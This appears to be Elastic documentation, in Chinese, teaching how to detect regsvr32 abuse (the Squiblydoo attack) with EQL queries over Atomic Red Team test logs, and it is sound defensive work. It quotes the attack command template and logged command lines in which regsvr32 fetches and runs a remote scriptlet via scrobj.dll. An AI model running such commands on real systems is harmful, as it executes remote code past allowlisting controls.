示例:使用 EQL 检测威胁

编辑

示例:使用 EQL 检测威胁

编辑

本示例教程演示如何使用 EQL 检测安全威胁和其他可疑行为。在此场景中,您的任务是检测 Windows 事件日志中的 regsvr32 滥用

regsvr32.exe 是一个内置的命令行实用程序,用于在 Windows 中注册 .dll 库。作为原生工具,regsvr32.exe 具有可信状态,使其可以绕过大多数允许列表软件和脚本阻止程序。有权访问用户命令行的攻击者可以使用 regsvr32.exe 通过 .dll 库运行恶意脚本,即使在其他情况下禁止此类脚本的计算机上也是如此。

regsvr32 滥用的一种常见变体是 Squiblydoo 攻击。在 Squiblydoo 攻击中,regsvr32.exe 命令使用 scrobj.dll 库来注册和运行远程脚本。这些命令通常如下所示

"regsvr32.exe  /s /u /i:<script-url> scrobj.dll"

设置

编辑

本教程使用来自 Atomic Red Team 的测试数据集,其中包括模拟 Squiblydoo 攻击的事件。该数据已映射到 Elastic Common Schema (ECS) 字段。

开始操作

  1. 创建一个启用数据流索引模板

    resp = client.indices.put_index_template(
        name="my-data-stream-template",
        index_patterns=[
            "my-data-stream*"
        ],
        data_stream={},
        priority=500,
    )
    print(resp)
    response = client.indices.put_index_template(
      name: 'my-data-stream-template',
      body: {
        index_patterns: [
          'my-data-stream*'
        ],
        data_stream: {},
        priority: 500
      }
    )
    puts response
    const response = await client.indices.putIndexTemplate({
      name: "my-data-stream-template",
      index_patterns: ["my-data-stream*"],
      data_stream: {},
      priority: 500,
    });
    console.log(response);
    PUT /_index_template/my-data-stream-template
    {
      "index_patterns": [ "my-data-stream*" ],
      "data_stream": { },
      "priority": 500
    }
  2. 下载 normalized-T1117-AtomicRed-regsvr32.json
  3. 使用批量 API 将数据索引到匹配的数据流

    curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-data-stream/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
  4. 使用cat indices API验证数据是否已索引

    resp = client.cat.indices(
        index="my-data-stream",
        v=True,
        h="health,status,index,docs.count",
    )
    print(resp)
    response = client.cat.indices(
      index: 'my-data-stream',
      v: true,
      h: 'health,status,index,docs.count'
    )
    puts response
    const response = await client.cat.indices({
      index: "my-data-stream",
      v: "true",
      h: "health,status,index,docs.count",
    });
    console.log(response);
    GET /_cat/indices/my-data-stream?v=true&h=health,status,index,docs.count

    响应应显示 docs.count150

    health status index                                 docs.count
    yellow open   .ds-my-data-stream-2099.12.07-000001         150

获取 regsvr32 事件的计数

编辑

首先,获取与 regsvr32.exe 进程关联的事件计数

resp = client.eql.search(
    index="my-data-stream",
    filter_path="-hits.events",
    query="\n    any where process.name == \"regsvr32.exe\"                \n  ",
    size=200,
)
print(resp)
const response = await client.eql.search({
  index: "my-data-stream",
  filter_path: "-hits.events",
  query: '\n    any where process.name == "regsvr32.exe"                \n  ',
  size: 200,
});
console.log(response);
GET /my-data-stream/_eql/search?filter_path=-hits.events    
{
  "query": """
    any where process.name == "regsvr32.exe"                
  """,
  "size": 200                                               
}

?filter_path=-hits.events 从响应中排除 hits.events 属性。此搜索仅旨在获取事件计数,而不是匹配事件的列表。

匹配任何 process.nameregsvr32.exe 的事件。

最多返回 200 个匹配事件的命中。

响应返回 143 个相关事件。

{
  "is_partial": false,
  "is_running": false,
  "took": 60,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 143,
      "relation": "eq"
    }
  }
}

检查命令行工件

编辑

regsvr32.exe 进程与 143 个事件相关联。但是 regsvr32.exe 最初是如何调用的?又是谁调用的?regsvr32.exe 是一个命令行实用程序。将结果范围缩小到使用命令行的进程

resp = client.eql.search(
    index="my-data-stream",
    query="\n    process where process.name == \"regsvr32.exe\" and process.command_line.keyword != null\n  ",
)
print(resp)
const response = await client.eql.search({
  index: "my-data-stream",
  query:
    '\n    process where process.name == "regsvr32.exe" and process.command_line.keyword != null\n  ',
});
console.log(response);
GET /my-data-stream/_eql/search
{
  "query": """
    process where process.name == "regsvr32.exe" and process.command_line.keyword != null
  """
}

该查询匹配一个 event.typecreation 的事件,表明 regsvr32.exe 进程的启动。根据事件的 process.command_line 值,regsvr32.exe 使用 scrobj.dll 注册一个脚本 RegSvr32.sct。这符合 Squiblydoo 攻击的行为。

{
  ...
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "events": [
      {
        "_index": ".ds-my-data-stream-2099.12.07-000001",
        "_id": "gl5MJXMBMk1dGnErnBW8",
        "_source": {
          "process": {
            "parent": {
              "name": "cmd.exe",
              "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
              "executable": "C:\\Windows\\System32\\cmd.exe"
            },
            "name": "regsvr32.exe",
            "pid": 2012,
            "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
            "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
            "executable": "C:\\Windows\\System32\\regsvr32.exe",
            "ppid": 2652
          },
          "logon_id": 217055,
          "@timestamp": 131883573237130000,
          "event": {
            "category": "process",
            "type": "creation"
          },
          "user": {
            "full_name": "bob",
            "domain": "ART-DESKTOP",
            "id": "ART-DESKTOP\\bob"
          }
        }
      }
    ]
  }
}

检查恶意脚本加载

编辑

检查 regsvr32.exe 是否稍后加载 scrobj.dll

resp = client.eql.search(
    index="my-data-stream",
    query="\n    library where process.name == \"regsvr32.exe\" and dll.name == \"scrobj.dll\"\n  ",
)
print(resp)
const response = await client.eql.search({
  index: "my-data-stream",
  query:
    '\n    library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"\n  ',
});
console.log(response);
GET /my-data-stream/_eql/search
{
  "query": """
    library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
  """
}

该查询匹配一个事件,确认已加载 scrobj.dll

{
  ...
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "events": [
      {
        "_index": ".ds-my-data-stream-2099.12.07-000001",
        "_id": "ol5MJXMBMk1dGnErnBW8",
        "_source": {
          "process": {
            "name": "regsvr32.exe",
            "pid": 2012,
            "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
            "executable": "C:\\Windows\\System32\\regsvr32.exe"
          },
          "@timestamp": 131883573237450016,
          "dll": {
            "path": "C:\\Windows\\System32\\scrobj.dll",
            "name": "scrobj.dll"
          },
          "event": {
            "category": "library"
          }
        }
      }
    ]
  }
}

确定成功的可能性

编辑

在许多情况下,攻击者使用恶意脚本连接到远程服务器或下载其他文件。使用 EQL 序列查询 来检查以下一系列事件

  1. regsvr32.exe 进程
  2. 由同一进程加载 scrobj.dll
  3. 同一进程的任何网络事件

根据先前响应中看到的命令行值,您可以预期会找到匹配项。但是,此查询并非针对该特定命令而设计。相反,它查找足够通用的可疑行为模式,以检测类似的威胁。

resp = client.eql.search(
    index="my-data-stream",
    query="\n    sequence by process.pid\n      [process where process.name == \"regsvr32.exe\"]\n      [library where dll.name == \"scrobj.dll\"]\n      [network where true]\n  ",
)
print(resp)
const response = await client.eql.search({
  index: "my-data-stream",
  query:
    '\n    sequence by process.pid\n      [process where process.name == "regsvr32.exe"]\n      [library where dll.name == "scrobj.dll"]\n      [network where true]\n  ',
});
console.log(response);
GET /my-data-stream/_eql/search
{
  "query": """
    sequence by process.pid
      [process where process.name == "regsvr32.exe"]
      [library where dll.name == "scrobj.dll"]
      [network where true]
  """
}

该查询匹配一个序列,表明攻击可能已成功。

{
  ...
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "sequences": [
      {
        "join_keys": [
          2012
        ],
        "events": [
          {
            "_index": ".ds-my-data-stream-2099.12.07-000001",
            "_id": "gl5MJXMBMk1dGnErnBW8",
            "_source": {
              "process": {
                "parent": {
                  "name": "cmd.exe",
                  "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
                  "executable": "C:\\Windows\\System32\\cmd.exe"
                },
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
                "executable": "C:\\Windows\\System32\\regsvr32.exe",
                "ppid": 2652
              },
              "logon_id": 217055,
              "@timestamp": 131883573237130000,
              "event": {
                "category": "process",
                "type": "creation"
              },
              "user": {
                "full_name": "bob",
                "domain": "ART-DESKTOP",
                "id": "ART-DESKTOP\\bob"
              }
            }
          },
          {
            "_index": ".ds-my-data-stream-2099.12.07-000001",
            "_id": "ol5MJXMBMk1dGnErnBW8",
            "_source": {
              "process": {
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "executable": "C:\\Windows\\System32\\regsvr32.exe"
              },
              "@timestamp": 131883573237450016,
              "dll": {
                "path": "C:\\Windows\\System32\\scrobj.dll",
                "name": "scrobj.dll"
              },
              "event": {
                "category": "library"
              }
            }
          },
          {
            "_index": ".ds-my-data-stream-2099.12.07-000001",
            "_id": "EF5MJXMBMk1dGnErnBa9",
            "_source": {
              "process": {
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "executable": "C:\\Windows\\System32\\regsvr32.exe"
              },
              "@timestamp": 131883573238680000,
              "destination": {
                "address": "151.101.48.133",
                "port": "443"
              },
              "source": {
                "address": "192.168.162.134",
                "port": "50505"
              },
              "event": {
                "category": "network"
              },
              "user": {
                "full_name": "bob",
                "domain": "ART-DESKTOP",
                "id": "ART-DESKTOP\\bob"
              },
              "network": {
                "protocol": "tcp",
                "direction": "outbound"
              }
            }
          }
        ]
      }
    ]
  }
}